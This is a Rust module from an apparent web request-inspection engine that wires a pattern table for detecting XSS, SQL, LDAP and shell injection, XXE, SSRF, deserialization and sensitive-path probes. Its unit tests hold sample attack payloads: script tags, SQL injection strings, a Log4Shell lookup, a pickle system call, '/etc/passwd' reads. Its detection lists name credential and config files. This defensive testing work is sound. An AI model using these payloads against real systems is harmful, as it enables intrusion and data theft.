Skip to main content

guard_core_engine/patterns/
mod.rs

1//! Detection wiring for the compiled pattern table and its dispatch.
2//!
3//! Compiles the canonical pattern table and dispatches each pattern to the
4//! same structural matcher, windowed finder, candidate validator and
5//! scan-window bounds as the guard-core spec 4.0.2 reference
6//! (`guard_core/handlers/_suspatterns_regex.py`).
7//!
8//! Residual patterns (lookaround / backreference constructs the `regex`
9//! crate rejects) are served by structural equivalents in `matchers.rs`.
10//! Table entry `id` is the table position (see `table.rs`) and keys the
11//! dispatch below.
12
13pub mod binary;
14pub mod chars_util;
15pub mod file_upload;
16pub mod ldap_ipv4;
17pub mod matchers;
18pub mod pickle;
19pub mod pyregex;
20pub mod scan_window;
21pub mod shell_validators;
22pub mod table;
23pub mod templates;
24pub mod xml_xxe;
25
26use std::sync::LazyLock;
27
28use pyregex::{Candidate, PyRegex};
29
30/// A regex threat exactly as the reference `_build_regex_threat` emits it.
31#[derive(Debug, Clone, PartialEq)]
32pub struct RegexThreat {
33    pub pattern: String,
34    pub match_text: String,
35    /// Unicode code-point index into the scanned view content.
36    pub position: usize,
37    pub category: String,
38    pub weight: f64,
39}
40
41pub struct CompiledEntry {
42    pub entry: table::TableEntry,
43    pub re: Option<PyRegex>,
44}
45
46fn rewrite_for_crate(source: &str) -> String {
47    // `\A(?:(?!\n).)*` is exactly `[^\n]*` under Python semantics (`.` never
48    // matches `\n` without DOTALL), so the negative-lookahead loop rewrites
49    // to a plain negated class for the crate.
50    source.replace(r"\A(?:(?!\n).)*", r"\A[^\n]*")
51}
52
53/// Table ids served by structural matchers or bespoke finders; their
54/// canonical sources do not need to compile for the `regex` crate.
55const STRUCTURAL_IDS: &[usize] = &[
56    3, 9, 12, 21, 27, 33, 42, 45, 62, 63, 64, 75, 78, 79, 90, 91, 92, 98, 99, 101, 102, 103, 104,
57    106, 107, 109, 110, 111, 112, 113, 114, 115, 117, 119, 121, 122, 123, 124, 125, 126, 128, 130,
58    131, 132, 133, 134, 135, 136, 139, 144, 145, 146, 147,
59];
60
61fn is_structural(id: usize) -> bool {
62    STRUCTURAL_IDS.contains(&id)
63}
64
65pub static COMPILED_TABLE: LazyLock<Vec<CompiledEntry>> = LazyLock::new(|| {
66    table::PATTERN_DEFINITIONS
67        .iter()
68        .map(|entry| {
69            let ignore_case = !entry.source.contains("(?-i:");
70            let re = PyRegex::compile(&rewrite_for_crate(entry.source), ignore_case)
71                .map_err(|e| format!("pattern id {}: {e}", entry.id))
72                .ok();
73            assert!(
74                re.is_some() || is_structural(entry.id),
75                "pattern id {} has neither a compiled regex nor a structural matcher",
76                entry.id
77            );
78            CompiledEntry {
79                entry: table::TableEntry {
80                    id: entry.id,
81                    source: entry.source,
82                    contexts: entry.contexts,
83                    category: entry.category,
84                },
85                re,
86            }
87        })
88        .collect()
89});
90
91pub fn resolve_pattern_weight(pattern_source: &str) -> f64 {
92    table::DETECTION_PATTERN_WEIGHT_OVERRIDES
93        .get(pattern_source)
94        .copied()
95        .unwrap_or(1.0)
96}
97
98/// Candidate rejection decision: `true` accepts the candidate as a threat
99/// (`_CANDIDATE_REJECTION_VALIDATORS`).
100#[must_use]
101fn candidate_accepts(
102    entry: &CompiledEntry,
103    haystack: &str,
104    candidate: Candidate,
105    context: &str,
106) -> bool {
107    let id = entry.entry.id;
108    let text = candidate.text(haystack);
109    match id {
110        42 => shell_validators::glued_backtick_pair_is_injection(haystack, candidate, context),
111        43 => shell_validators::dollar_substitution_pair_is_injection(haystack, candidate, context),
112        58 => shell_validators::brace_expansion_is_dangerous_command(text),
113        59 => shell_validators::quote_splice_token_is_dangerous_command(text),
114        60 => {
115            shell_validators::glob_wildcard_token_is_dangerous_command(haystack, candidate, context)
116        }
117        66 | 67 | 69 => {
118            let Some(compiled) = entry.re.as_ref() else {
119                return true;
120            };
121            ldap_ipv4::ldap_wildcard_chain_is_injection(compiled, haystack, &candidate)
122        }
123        68 => {
124            let Some(compiled) = entry.re.as_ref() else {
125                return true;
126            };
127            ldap_ipv4::ldap_paren_conjunction_is_injection(compiled, haystack, &candidate)
128        }
129        105 => ldap_ipv4::source_extension_path_is_probe(context),
130        79 => ldap_ipv4::legacy_ipv4_match_is_blocked(text),
131        152 => {
132            // group one (`c<module>\n<ident>\n`) ends after the second newline
133            let group_one_end = candidate.start
134                + haystack[candidate.start..]
135                    .find('\n')
136                    .and_then(|rel| {
137                        let after_first = candidate.start + rel + 1;
138                        haystack[after_first..]
139                            .find('\n')
140                            .map(|r2| after_first + r2 + 1)
141                    })
142                    .unwrap_or(candidate.end);
143            pickle::pickle_global_candidate_is_injection(haystack, candidate, group_one_end)
144        }
145        _ => true,
146    }
147}
148
149/// The two XML patterns served by bespoke finders inside the scan-window
150/// route, and the generic bounded scan windows (`_SCAN_WINDOW_BOUND_SOURCES`).
151fn scan_window_candidates(entry: &CompiledEntry, haystack: &str) -> Option<Vec<Candidate>> {
152    let compiled = entry.re.as_ref()?;
153    let id = entry.entry.id;
154    let (prefix_src, terminator_src) = match id {
155        0 => ("<script", r"<\/script\s*>"),
156        5 => (r"<[A-Za-z/][^<>]*style\s*=", r"\)"),
157        6 => ("<object", r"<\/object\s*>"),
158        7 => ("<embed", r"<\/embed\s*>"),
159        8 => ("<applet", r"<\/applet\s*>"),
160        37 => (r"\.\.;", r"[/\\]"),
161        76 => ("<!\\[CDATA\\[", "\\]\\]>"),
162        _ => return None,
163    };
164    #[cfg(not(coverage))] // unreachable: both literals are statically valid
165    let prefix = PyRegex::compile(prefix_src, true).ok()?;
166    #[cfg(coverage)]
167    let prefix = PyRegex::compile(prefix_src, true).expect("statically valid literal");
168    #[cfg(not(coverage))] // unreachable: both literals are statically valid
169    let terminator = PyRegex::compile(terminator_src, true).ok()?;
170    #[cfg(coverage)]
171    let terminator = PyRegex::compile(terminator_src, true).expect("statically valid literal");
172    Some(scan_window::bounded_finditer(
173        haystack,
174        compiled,
175        &prefix,
176        &terminator,
177    ))
178}
179
180/// Candidates for one table entry under the reference dispatch order:
181/// windowed finder, dedicated scan matcher, bounded scan windows, structural
182/// matchers, then plain full-content search.
183#[must_use]
184#[allow(
185    clippy::too_many_lines,
186    reason = "pattern dispatch mirrors the reference table order; splitting would obscure the 1:1 mapping"
187)]
188fn pattern_candidates(entry: &CompiledEntry, haystack: &str) -> Vec<Candidate> {
189    let id = entry.entry.id;
190    let source = entry.entry.source;
191    if let Some(candidates) = scan_window_candidates(entry, haystack) {
192        return candidates;
193    }
194    match id {
195        74 => return xml_xxe::xml_system_finditer(haystack),
196        77 => return xml_xxe::xml_internal_entity_finditer(haystack),
197        75 => return xml_xxe::xml_xxe_public_external_dtd_finditer(haystack),
198        3 => return matchers::xss_event_handler_finditer(haystack),
199        9 => return matchers::sqli_select_from_finditer(haystack),
200        12 => return matchers::sqli_tautology_finditer(haystack),
201        21 => return matchers::sqli_inline_comment_finditer(haystack),
202        27 => return matchers::sqli_order_by_terminator_finditer(haystack),
203        42 => return matchers::glued_backtick_candidate_finditer(haystack),
204        45 => return matchers::shell_dash_flag_finditer(haystack),
205        62 => return matchers::file_inclusion_bare_host_finditer(haystack),
206        63 => return matchers::file_inclusion_scheme_path_finditer(haystack),
207        64 => return matchers::file_inclusion_template_url_finditer(haystack),
208        103 => return matchers::sensitive_path_config(haystack),
209        78 => return matchers::ssrf_private_host_finditer(haystack),
210        79 => return matchers::ssrf_numeric_host_finditer(haystack),
211        101 => return matchers::sensitive_path_env(haystack),
212        104 => {
213            return matchers::sensitive_path_scan_ext(haystack, &["map"]);
214        }
215        106 => {
216            return matchers::sensitive_path_dot_alt(haystack, &["git", "svn", "hg", "bzr"]);
217        }
218        109 => return matchers::sensitive_path_wp_admin(haystack),
219        111 => {
220            return matchers::sensitive_path_literal_ext(
221                haystack,
222                &["phpinfo", "info", "test", "php_info"],
223                "php",
224            );
225        }
226        113 => {
227            return matchers::sensitive_path_scan_ext(haystack, matchers::BACKUP_EXTENSIONS);
228        }
229        114 => return matchers::sensitive_path_literal(haystack, matchers::DOUBLE_DOT_BAD),
230        117 => return matchers::sensitive_path_management(haystack),
231        119 => {
232            return matchers::sensitive_path_literal(
233                haystack,
234                &["actuator", "server-status", "telescope"],
235            );
236        }
237        121 => {
238            return matchers::sensitive_path_literal_suffix(
239                haystack,
240                matchers::RECON_APP_BAD,
241                matchers::BadSuffix::DashRun,
242            );
243        }
244        122 => return matchers::sensitive_path_literal(haystack, &["cgi-bin", "cgi-mod"]),
245        123 => {
246            return matchers::sensitive_path_literal(
247                haystack,
248                &["HNAP1", "IPCamDesc.xml", "SDK/webLanguage"],
249            );
250        }
251        124 => return matchers::sensitive_path_literal(haystack, &["language", "languages"]),
252        125 => {
253            return matchers::sensitive_path_literal_suffix_dot(
254                haystack,
255                matchers::RECON_README_BAD,
256            );
257        }
258        126 => {
259            return matchers::sensitive_path_literal(
260                haystack,
261                &[
262                    "sap",
263                    "ise",
264                    "nidp",
265                    "cslu",
266                    "rustfs",
267                    "developmentserver",
268                    "fog/management",
269                    "lms/db",
270                    "json/login_session",
271                    "sms_mp",
272                    "plugin/webs_model",
273                    "wsman",
274                    "am_bin",
275                ],
276            );
277        }
278        128 => {
279            return matchers::sensitive_path_literal(haystack, &[".openclaw", ".clawdbot"]);
280        }
281        130 => return matchers::sensitive_path_literal(haystack, &["inicio.html", "inicio.htm"]),
282        131 => {
283            return matchers::sensitive_path_literal(
284                haystack,
285                &[
286                    ".streamlit",
287                    ".gpt-pilot",
288                    ".aider",
289                    ".cursor",
290                    ".windsurf",
291                    ".copilot",
292                    ".devcontainer",
293                ],
294            );
295        }
296        132 => {
297            return matchers::sensitive_path_literal_suffix(
298                haystack,
299                matchers::DOCKERFILE_BAD,
300                matchers::BadSuffix::YamlSuffix,
301            );
302        }
303        133 => return matchers::sensitive_path_secrets(haystack),
304        134 => return matchers::sensitive_path_literal(haystack, &["autodiscover"]),
305        135 => return matchers::sensitive_path_literal(haystack, &["dns-query"]),
306        136 => {
307            return matchers::sensitive_path_literal(
308                haystack,
309                &[
310                    ".git/refs",
311                    ".git/index",
312                    ".git/HEAD",
313                    ".git/objects",
314                    ".git/logs",
315                ],
316            );
317        }
318        139 => {
319            return matchers::proto_pollution_assign_finditer(haystack);
320        }
321        144 => return matchers::deserialization_b64_finditer(haystack, "rO0AB"),
322        145 => return matchers::deserialization_b64_finditer(haystack, "AAEAAAD"),
323        146 => {
324            // gA[SW]V: both literal variants with the shared boundary guard
325            let mut out = matchers::deserialization_b64_finditer(haystack, "gASV");
326            out.extend(matchers::deserialization_b64_finditer(haystack, "gAWV"));
327            out.sort_by_key(|c| c.start);
328            return out;
329        }
330        147 => {
331            // BAh[Jv7bV]
332            let mut out = Vec::new();
333            for magic in ["BAhJ", "BAhv", "BAh7", "BAhb", "BAhV"] {
334                out.extend(matchers::deserialization_b64_finditer(haystack, magic));
335            }
336            out.sort_by_key(|c| c.start);
337            return out;
338        }
339        17 => {
340            return entry
341                .re
342                .as_ref()
343                .map(|compiled| matchers::load_file_scan_matches(haystack, compiled))
344                .unwrap_or_default();
345        }
346        40 => {
347            return entry
348                .re
349                .as_ref()
350                .map(|compiled| matchers::dollar_substitution_scan_matches(haystack, compiled))
351                .unwrap_or_default();
352        }
353        47 => {
354            return entry
355                .re
356                .as_ref()
357                .map(|compiled| matchers::shell_dash_c_finditer(haystack, compiled))
358                .unwrap_or_default();
359        }
360        59 => {
361            return entry
362                .re
363                .as_ref()
364                .map(|compiled| matchers::quote_splice_finditer(haystack, compiled))
365                .unwrap_or_default();
366        }
367        60 => {
368            return entry
369                .re
370                .as_ref()
371                .map(|compiled| matchers::glob_wildcard_scan_matches(haystack, compiled))
372                .unwrap_or_default();
373        }
374        70 => {
375            return entry
376                .re
377                .as_ref()
378                .map(|compiled| matchers::ldap_null_byte_attr_raw(haystack, compiled))
379                .unwrap_or_default();
380        }
381        72 => {
382            return entry
383                .re
384                .as_ref()
385                .map(|compiled| matchers::ldap_null_byte_attr_decoded(haystack, compiled))
386                .unwrap_or_default();
387        }
388        89..=92 => {
389            return file_upload::file_upload_scan_matches(
390                haystack,
391                source,
392                source_of_id(89),
393                source_of_id(90),
394                source_of_id(91),
395                source_of_id(92),
396            );
397        }
398        94 => {
399            return templates::template_keyword_matches(
400                haystack,
401                &templates::KIND_CURLY_KEYWORD,
402                true,
403            );
404        }
405        95 => {
406            return templates::template_keyword_matches(
407                haystack,
408                &templates::KIND_PERCENT_KEYWORD,
409                true,
410            );
411        }
412        96 => {
413            return templates::template_expression_matches(haystack, &templates::KIND_ASP, true);
414        }
415        97 => {
416            return templates::template_expression_matches(haystack, &templates::KIND_DOLLAR, true);
417        }
418        98 => {
419            return templates::template_expression_matches(
420                haystack,
421                &templates::KIND_CURLY_CALL,
422                true,
423            );
424        }
425        99 => {
426            return templates::template_expression_matches(haystack, &templates::KIND_HASH, true);
427        }
428        33 => return matchers::lexicon_path_finditer(haystack, LEXICON_ETC_PATH, true),
429        102 => return matchers::lexicon_path_finditer(haystack, LEXICON_ENV_PATH, true),
430        107 => return matchers::lexicon_path_finditer(haystack, LEXICON_GIT_PATH, true),
431        110 => return matchers::lexicon_path_finditer(haystack, LEXICON_WP_PATH, true),
432        112 => return matchers::lexicon_path_finditer(haystack, LEXICON_PHPINFO_PATH, true),
433        115 => return matchers::lexicon_path_finditer(haystack, LEXICON_HTACCESS_PATH, true),
434        _ => {}
435    }
436    // plain full-content search
437    entry.re.as_ref().map_or_else(Vec::new, |compiled| {
438        compiled
439            .re()
440            .find_iter(haystack)
441            .map(|m| Candidate::new(m.start(), m.end()))
442            .collect()
443    })
444}
445
446fn source_of_id(id: usize) -> &'static str {
447    table::PATTERN_DEFINITIONS
448        .iter()
449        .find(|e| e.id == id)
450        .map_or("", |e| e.source)
451}
452
453/// Lexicon-lookahead path shapes (ids 33/102/107/110/112/115): the reference
454/// pattern is `\A(?=LEXICON-in-first-line)\A<path-shape>`; the lexicon
455/// membership becomes a guard on the compiled path shape.
456pub const LEXICON_ETC_PATH: &str = r"\A[^\n]*[/\\](?:etc/(?:passwd|shadow|group|hosts|motd|issue|mysql/my\.cnf|ssh/ssh_config))(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
457pub const LEXICON_ENV_PATH: &str = r"\A[^\n]*[/\\](?:\.env(?:\.\w+)?)(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
458pub const LEXICON_GIT_PATH: &str = r"\A[^\n]*[/\\](?:\.(?:git|svn|hg|bzr))(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
459pub const LEXICON_WP_PATH: &str = r"\A[^\n]*[/\\](?:(?:wp-(?:admin|login|content|includes|config)|administrator|xmlrpc)\.?(?:php)?)(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
460pub const LEXICON_PHPINFO_PATH: &str = r"\A[^\n]*[/\\](?:(?:phpinfo|info|test|php_info)\.php)(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
461pub const LEXICON_HTACCESS_PATH: &str = r"\A[^\n]*[/\\](?:(?:\.htaccess|\.htpasswd|\.DS_Store|Thumbs\.db|\.npmrc|\.dockerenv|web\.config))(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?(?:[/\\][\w.\-~%]{1,64})?\b";
462
463/// `_RECON_BARE_PATH_CONTEXTS`: contexts where a recon whole-value hit is a
464/// probe regardless of a leading separator.
465const RECON_BARE_PATH_CONTEXTS: &[&str] = &["url_path", "unknown"];
466
467/// `_recon_path_value_is_probe`: accepted when the scanned value's base
468/// context (validator contexts keep the `:embedded_json` suffix, so split it
469/// off) is `url_path` or `unknown`, else the matched text must start with a
470/// path separator.
471#[must_use]
472fn recon_path_value_is_probe(matched: &str, validator_context: &str) -> bool {
473    let base = validator_context.split(':').next().unwrap_or("");
474    RECON_BARE_PATH_CONTEXTS.contains(&base)
475        || matched.starts_with('/')
476        || matched.starts_with('\\')
477}
478
479/// First accepted regex threat for one entry (validator + recon
480/// leading-separator + noise gates).
481#[must_use]
482pub fn find_first_threat(
483    entry: &CompiledEntry,
484    haystack: &str,
485    context: &str,
486    binary_prefix: Option<&[u32]>,
487) -> Option<RegexThreat> {
488    let noise_prone = table::NOISE_PRONE_PATTERN_SOURCES.contains(entry.entry.source);
489    let recon_optional_separator =
490        table::RECON_OPTIONAL_SEPARATOR_PATTERN_SOURCES.contains(entry.entry.source);
491    for candidate in pattern_candidates(entry, haystack) {
492        if !candidate_accepts(entry, haystack, candidate, context) {
493            continue;
494        }
495        // Upstream guard-core 08f79d67: rows with an optional leading
496        // separator must not read bare query or body words as probe paths;
497        // ordered after the candidate validators and before the binary-noise
498        // gate, mirroring `_build_regex_threat`.
499        if recon_optional_separator && !recon_path_value_is_probe(candidate.text(haystack), context)
500        {
501            continue;
502        }
503        if noise_prone
504            && let Some(prefix) = binary_prefix
505            && binary::match_is_binary_density(
506                prefix,
507                pyregex::cp_index(haystack, candidate.start),
508                pyregex::cp_index(haystack, candidate.end),
509            )
510        {
511            continue;
512        }
513        return Some(RegexThreat {
514            pattern: entry.entry.source.to_owned(),
515            match_text: candidate.text(haystack).to_owned(),
516            position: pyregex::cp_index(haystack, candidate.start),
517            category: entry.entry.category.to_owned(),
518            weight: resolve_pattern_weight(entry.entry.source),
519        });
520    }
521    None
522}
523
524/// Which scan view is being processed; mirrors `_pattern_excluded_from_view`.
525#[derive(Debug, Clone, Copy, PartialEq, Eq)]
526pub enum ViewFilter {
527    /// short-base64 additive view (and legacy checks): no exclusion
528    All,
529    /// processed view: raw-only and url-decoded-only patterns are excluded
530    Processed,
531    /// raw signal-preserving view: raw-view-only patterns plus the recon rows
532    Raw,
533    /// URL-decoded view: only url-decoded-view-only patterns
534    UrlDecoded,
535}
536
537#[must_use]
538pub fn is_excluded_from_view(source: &str, filter: ViewFilter) -> bool {
539    let raw_only = table::DETECTION_RAW_VIEW_PATTERN_SOURCES.contains(source);
540    let url_only = table::DETECTION_URL_DECODED_VIEW_PATTERN_SOURCES.contains(source);
541    // Recon rows also run on the raw view: the processed views fold LDAP hex
542    // escapes before the tables run, so separator-prefixed probes such as
543    // `\default` only survive there (upstream `DETECTION_RECON_RAW_VIEW_
544    // PATTERN_SOURCES`).
545    let recon_raw_only = table::DETECTION_RECON_RAW_VIEW_PATTERN_SOURCES.contains(source);
546    match filter {
547        ViewFilter::All => false,
548        ViewFilter::Processed => raw_only || url_only,
549        ViewFilter::Raw => url_only || !(raw_only || recon_raw_only),
550        ViewFilter::UrlDecoded => raw_only || !url_only,
551    }
552}
553
554/// Table ids of the size-gated family (guard-core-php PR #1 parity): the
555/// `\A`-anchored line-walk and path-segment-loop shapes, skipped when the
556/// view's first line reaches `GATED_PATTERN_MAX_SUBJECT_BYTES` bytes.
557const SIZE_GATED_IDS: &[usize] = &[
558    32, 33, 34, 35, 36, 102, 107, 110, 112, 115, 101, 103, 104, 105, 106, 109, 111, 113, 114, 116,
559    117, 119, 121, 122, 123, 124, 125, 126, 128, 130, 131, 132, 133, 134, 135, 136,
560];
561
562/// `SusPatterns::GATED_PATTERN_MAX_SUBJECT_BYTES` (15 KiB).
563///
564/// The frozen corpus maxes out below the gate, so this never changes
565/// conformance outcomes; it ports the reference skip for large single-line
566/// bodies.
567pub const GATED_PATTERN_MAX_SUBJECT_BYTES: usize = 15_360;
568
569fn first_line_byte_length(content: &str) -> usize {
570    content.find('\n').unwrap_or(content.len())
571}
572
573fn size_gated(content: &str) -> bool {
574    first_line_byte_length(content) >= GATED_PATTERN_MAX_SUBJECT_BYTES
575}
576
577/// One view pass of `_check_regex_patterns`: context filter, per-pattern
578/// dispatch, validator and binary-density gates, first accepted threat each.
579#[must_use]
580pub fn scan_view(
581    content: &str,
582    filter: ViewFilter,
583    normalized_context: &str,
584    skip_filter: bool,
585    validator_context: &str,
586) -> Vec<RegexThreat> {
587    let binary_prefix = binary::build_binary_prefix(content);
588    let gating = size_gated(content);
589    let mut threats = Vec::new();
590    for entry in COMPILED_TABLE.iter() {
591        if is_excluded_from_view(entry.entry.source, filter) {
592            continue;
593        }
594        if !skip_filter && !entry.entry.contexts.contains(&normalized_context) {
595            continue;
596        }
597        if gating && SIZE_GATED_IDS.contains(&entry.entry.id) {
598            continue;
599        }
600        if let Some(threat) =
601            find_first_threat(entry, content, validator_context, Some(&binary_prefix))
602        {
603            threats.push(threat);
604        }
605    }
606    threats
607}
608
609/// `_check_decoded_view_path_traversal`: the `\.\.[\\/]` shape fires only
610/// when decoding revealed more traversal shapes than the raw view carries.
611#[must_use]
612pub fn decoded_view_traversal_threat(processed: &str, raw_view: &str) -> Option<RegexThreat> {
613    static SHAPE: LazyLock<PyRegex> =
614        LazyLock::new(|| PyRegex::compile(r"\.\.[\\/]", false).expect("static shape regex"));
615    let decoded_matches: Vec<Candidate> = SHAPE
616        .re()
617        .find_iter(processed)
618        .map(|m| Candidate::new(m.start(), m.end()))
619        .collect();
620    let raw_count = SHAPE.re().find_iter(raw_view).count();
621    if decoded_matches.len() <= raw_count {
622        return None;
623    }
624    let first = decoded_matches[0];
625    Some(RegexThreat {
626        pattern: r"\.\.[\\/]".to_owned(),
627        match_text: first.text(processed).to_owned(),
628        position: pyregex::cp_index(processed, first.start),
629        category: "path_traversal".to_owned(),
630        weight: 1.0,
631    })
632}
633
634/// The synthetic exhaustion threat appended when a decode pass hit its
635/// 16-iteration budget.
636#[must_use]
637pub fn decode_budget_exhausted_threat() -> RegexThreat {
638    RegexThreat {
639        pattern: "decode_budget_exhausted".to_owned(),
640        match_text: "decode_budget_exhausted".to_owned(),
641        position: 0,
642        category: "custom".to_owned(),
643        weight: 1.0,
644    }
645}
646
647#[cfg(test)]
648mod tests {
649    use super::*;
650
651    fn entry_for(id: usize) -> &'static CompiledEntry {
652        COMPILED_TABLE
653            .iter()
654            .find(|e| e.entry.id == id)
655            .expect("entry exists")
656    }
657
658    fn threat(id: usize, content: &str) -> Option<RegexThreat> {
659        find_first_threat(entry_for(id), content, "request_body", None)
660    }
661
662    #[test]
663    fn compiled_table_is_complete() {
664        assert_eq!(COMPILED_TABLE.len(), table::PATTERN_DEFINITIONS.len());
665    }
666
667    #[test]
668    fn script_threat_position_and_text() {
669        let t = threat(0, "x<script>alert(1)</script>y").expect("script threat");
670        assert_eq!(t.match_text, "<script>alert(1)</script>");
671        assert_eq!(t.position, 1);
672        assert_eq!(t.category, "xss");
673    }
674
675    #[test]
676    fn etc_passwd_via_url_decoded_view_source() {
677        let t = threat(32, "O:8:\"T\":1:{s:4:\"file\";s:11:\"/etc/passwd\";}").expect("etc threat");
678        assert_eq!(t.position, 0);
679        assert_eq!(t.category, "dir_traversal");
680    }
681
682    #[test]
683    fn select_from_union_case() {
684        let t = threat(9, "id=1 UNION SELECT 1 FROM (SELECT 1)a--").expect("select threat");
685        // leftmost \bSELECT\b is inside "UNION SELECT"
686        assert_eq!(t.position, 11);
687        assert_eq!(t.match_text, "SELECT 1 FROM");
688    }
689
690    #[test]
691    fn tautology_match() {
692        let t = threat(12, "' OR 1=1--").expect("tautology");
693        assert_eq!(t.position, 2);
694        assert_eq!(t.match_text, "OR 1=1");
695    }
696
697    #[test]
698    fn union_select_weight_one() {
699        let t = threat(13, "' UNION SELECT NULL, NULL, NULL--").expect("union");
700        assert_eq!(t.position, 2);
701        assert!((t.weight - 1.0).abs() < f64::EPSILON);
702    }
703
704    #[test]
705    fn where_clause_weight_half() {
706        let t = threat(11, "UPDATE users SET admin=true WHERE id=1").expect("where");
707        assert_eq!(t.position, 28);
708        assert!((t.weight - 0.5).abs() < f64::EPSILON);
709    }
710
711    #[test]
712    fn log4shell_and_ssrf() {
713        let content = "${jndi:ldap://10.0.0.1/a}";
714        let t44 = threat(44, content).expect("log4shell");
715        assert_eq!(t44.position, 0);
716        let t78 = threat(78, content).expect("ssrf private");
717        assert_eq!(t78.position, 13);
718        let t79 = threat(79, content).expect("ssrf numeric");
719        assert_eq!(t79.position, 11);
720    }
721
722    #[test]
723    fn ldap_injection_validators() {
724        let content = "*)(uid=*))(|(uid=*";
725        assert!(threat(65, content).is_some(), "paren conj star");
726        assert!(threat(68, content).is_some(), "paren conjunction");
727        assert!(threat(67, content).is_some(), "paren breakout");
728        assert!(threat(69, content).is_some(), "wildcard chain");
729        assert!(threat(66, content).is_some(), "wildcard equals");
730    }
731
732    #[test]
733    fn ldap_conjunction_followup() {
734        // conjunction + followup clause is the injection canary
735        assert!(threat(68, "(&(objectClass=user))").is_some());
736        // bare conjunction without followup is rejected
737        assert!(threat(68, "(|x").is_none());
738    }
739
740    #[test]
741    fn sensitive_paths() {
742        assert!(threat(101, "/.env").is_some());
743        assert!(threat(106, "/.git/config").is_some());
744        assert!(threat(117, "/.aws/credentials").is_some());
745        assert!(threat(114, "/.htpasswd").is_some());
746        assert!(threat(113, "/config.php.bak").is_some());
747        assert!(threat(109, "/wp-login.php").is_some());
748        assert!(threat(119, "/actuator/env").is_some());
749        assert!(threat(109, "/admin/login/?next=/admin/").is_none());
750        assert!(threat(105, "/admin/login/?next=/admin/").is_none());
751    }
752
753    #[test]
754    fn file_upload_kinds() {
755        assert!(threat(89, "filename=\"shell.phtml\"").is_some());
756        assert!(threat(90, "filename=\"shell.php.jpg\"").is_some());
757        assert!(threat(89, "filename=\".htaccess\"").is_none());
758    }
759
760    #[test]
761    fn templates() {
762        assert!(threat(98, "{{ 7 * 7 }}").is_some());
763        assert!(threat(97, "${7 * 7}").is_some());
764        assert!(threat(96, "<%= 7 * 7 %>").is_some());
765        assert!(threat(97, "#set($x = 7 * 7)$x").is_none());
766    }
767
768    #[test]
769    fn deser_magic_prefixes() {
770        assert!(threat(144, "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==").is_some());
771        assert!(threat(144, "cHl0aG9u").is_none());
772    }
773
774    #[test]
775    fn pickle_global_validator() {
776        let payload = "cos\nsystem\n(S'id'\ntR.";
777        assert!(threat(152, payload).is_some(), "pickle reduce");
778        assert!(threat(152, "cos\nsystem\n(S'id'\n.").is_none(), "no reduce");
779    }
780
781    #[test]
782    fn dollar_substitution_validator() {
783        assert!(threat(43, "cat${IFS}/etc/passwd").is_some(), "IFS special");
784        // plausible $() token only fires in the ambiguous contexts
785        assert!(threat(43, "$(whoami)").is_none(), "request_body reject");
786        assert!(threat(43, "total cost is $100 after discount").is_none());
787    }
788
789    #[test]
790    fn backtick_chain_and_candidate() {
791        assert!(threat(41, "`id`").is_some(), "full chain");
792        // the glued candidate fires only when its validator accepts; bare
793        // `id` with no glue is rejected by the candidate validator
794        assert!(threat(42, "`id`").is_none(), "candidate rejected");
795    }
796
797    #[test]
798    fn comment_terminator_raw_view() {
799        assert!(threat(29, "admin'--").is_some());
800        let t = threat(29, "'; EXEC xp_cmdshell('dir')--").expect("comment");
801        assert_eq!(t.position, 24);
802        assert_eq!(t.match_text, "')--");
803    }
804
805    #[test]
806    fn http_split_position() {
807        let t = threat(100, "en\r\nSet-Cookie: injected=1").expect("http split");
808        assert_eq!(t.position, 3);
809    }
810
811    #[test]
812    fn xss_event_handler_cases() {
813        assert!(threat(3, "<img src=x onerror=alert(1)>").is_some());
814        assert!(threat(3, "/search?q=<svg/onload=alert(1)>").is_some());
815        // oracle-verified: the lookbehinds reject the SEQUENCES `=`/`="/`='`;
816        // a bare `"` before the run does not block, and the greedy group
817        // picks the rightmost split
818        let t = threat(3, "<img src=\"x\" onerror=alert(1)>").expect("quoted attr matches");
819        assert_eq!(t.match_text, "<img src=\"x\" onerror=alert(1)");
820        assert!(threat(3, "<b>bold</b> text").is_none());
821    }
822
823    #[test]
824    fn inline_comment_obfuscation() {
825        assert!(threat(21, "UNI/**/ON SE/**/LECT 1,2,3").is_some());
826        // /*! is protected in the reference table too (distinct pattern id 20)
827        assert!(threat(21, "UNI/*!*/ON").is_none());
828    }
829}
830
831#[cfg(test)]
832mod coverage_tests {
833    use super::*;
834
835    #[test]
836    fn decode_budget_exhausted_threat_carries_the_marker() {
837        let threat = decode_budget_exhausted_threat();
838        assert_eq!(threat.pattern, "decode_budget_exhausted");
839        assert_eq!(threat.match_text, "decode_budget_exhausted");
840        assert_eq!(threat.position, 0);
841        assert_eq!(threat.category, "custom");
842    }
843
844    #[test]
845    fn structural_candidates_route_through_the_validators() {
846        // id 58: brace expansion
847        let entry = |id: usize| COMPILED_TABLE.iter().find(|e| e.entry.id == id).unwrap();
848        assert!(candidate_accepts(
849            entry(58),
850            "cmd {a,b}",
851            Candidate::new(4, 9),
852            "arg"
853        ));
854        assert!(!candidate_accepts(
855            entry(58),
856            "plain",
857            Candidate::new(0, 5),
858            "arg"
859        ));
860        // id 59: quote splice (three 1-char fragments)
861        let content = "a'b'c";
862        assert!(candidate_accepts(
863            entry(59),
864            content,
865            Candidate::new(0, 5),
866            "arg"
867        ));
868        // id 105: source extension path probe
869        assert!(candidate_accepts(
870            entry(105),
871            "",
872            Candidate::new(0, 0),
873            "url_path:.php"
874        ));
875    }
876
877    #[test]
878    fn ldap_candidate_routes_fall_back_to_accepting_when_uncompiled() {
879        // a compiled entry whose regex source is stripped: the fallback
880        // accepts rather than silently filtering
881        let entry = COMPILED_TABLE.iter().find(|e| e.entry.id == 66).unwrap();
882        let stripped_entry = CompiledEntry {
883            entry: crate::patterns::table::TableEntry {
884                id: entry.entry.id,
885                source: entry.entry.source,
